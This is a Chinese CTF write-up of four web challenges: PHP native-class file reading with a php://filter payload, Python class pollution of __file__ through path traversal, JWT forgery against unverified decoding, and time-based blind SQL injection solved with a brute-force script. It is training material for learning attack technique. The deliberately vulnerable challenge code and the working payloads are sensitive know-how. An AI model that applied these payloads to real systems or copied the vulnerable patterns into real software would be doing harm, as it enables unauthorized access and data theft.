Week4
官方WP
https://j0zr0js7k7j.feishu.cn/docx/MS06dyLGRoHBfzxGPF1cz0VhnGh
flag直接读取不就行了?
题目描述
你应该能找到flag吧?
考点
-
php原生类
-
php伪协议
题解
查看源码
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
第9行利用遍历文件目录的类,结合10-12行遍历并输出文件找到flag文件的位置和名字
第13行利用文件读取的类读取flag文件
先GET传参?K=DirectoryIterator&W=/secret
获取flag名字为f11444g.php
因为是php文件,直接读取会被包含而看不到其中信息,因此需要结合php伪协议
再POST传参J=SplFileObject&H=php://filter/convert.base64-encode/resource=/secret/f11444g.php
获得被base64编码后的flag文件
圣钥之战1.0
题目描述
J1ngHong大魔王不会让你污染圣钥的!
考点
- 原型链污染
题解
访问/read路由获取源码
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
可以利用Read()
下的open().read()
来读取flag,因此我们需要污染__file__
的值为/flag
payload为
GET /pollute HTTP/1.1
Host: challenge.basectf.fun:32916
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 125
{
"__init__":{
"__globals__":{
"__file__": "../../../../../../flag"
}
}
}
No JWT
题目描述
没有 JWT!
考点
- JWT伪造
题解
下载附件获得源码
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string
app = Flask(__name__)
# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')
# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200
# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')
if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403
except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401
if __name__ == '__main__':
app.run(debug=True)
发现作为admin用户登录即可获得flag
注意到第35行的decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
,发现对jwt是直接进行解码而未进行验证的
先向login
路由发送登录信息获取一个token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJCUiIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzI3NTA5NTk1fQ.7oH1uZKH7D0PZGl-zuzkfNG4LJS2q-KhjEEWtWNHUo0
Header解码后为
{
"alg": "HS256",
"typ": "JWT"
}
Payload解码后为
{
"sub": "BR",
"role": "user",
"exp": 1727509595
}
需要修改role为admin,而由于在解码过程中,未对jwt的加密进行验证,这就意味着直接修改即可
修改并base64编码
eyJzdWIiOiJCUiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNzUwOTU5NX0
得到伪造的admin的token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJCUiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNzUwOTU5NX0.7oH1uZKH7D0PZGl-zuzkfNG4LJS2q-KhjEEWtWNHUo0
访问/flag并在请求头添加
Authorization:a eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJCUiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNzUwOTU5NX0.7oH1uZKH7D0PZGl-zuzkfNG4LJS2q-KhjEEWtWNHUo0
ps: a和token之间有个空格不能省,原因是35行的token.split(" ")[1]
only one sql
题目描述
只可以一句哦
考点
- sql时间盲注
题解
题目给出源码
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);
发现禁止了select,同时提示我们flag位于ctf库下的flag表中
传入?sql=show columns from flag
即可查询表中字段为
Field Type Null Key Default Extra
id varchar(300) YES NULL
data varchar(300) YES NULL
推测flag在data字段中
使用delete from flag where data like 'f%' and sleep(5)
进行判断,如果like匹配到了,则会执行sleep,而由于sleep始终返回的是null,where始终为假,则不会真的执行delete操作
由此写脚本进行爆破
import requests
class SQL:
def __init__(self):
self.chr_list = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{}"
self.url = "http://challenge.basectf.fun:33096/"
self.timeout = 3
def blind_injection_by_get_and_chr(self):
flag = ""
for _ in range(100):
for chr in self.chr_list:
payload = f"?sql=delete from flag where BINARY data like '{flag+chr}%' and sleep(5)"
try:
requests.get(self.url + payload, timeout=self.timeout)
except:
flag += chr
print(flag)
break
if flag[-1] == "}":
return flag
attack = SQL()
attack.blind_injection_by_get_and_chr()
官方WP给出的脚本没有区分大小写,最好在payload中添加BINARY进行大小写区分
等待一会即可获得flag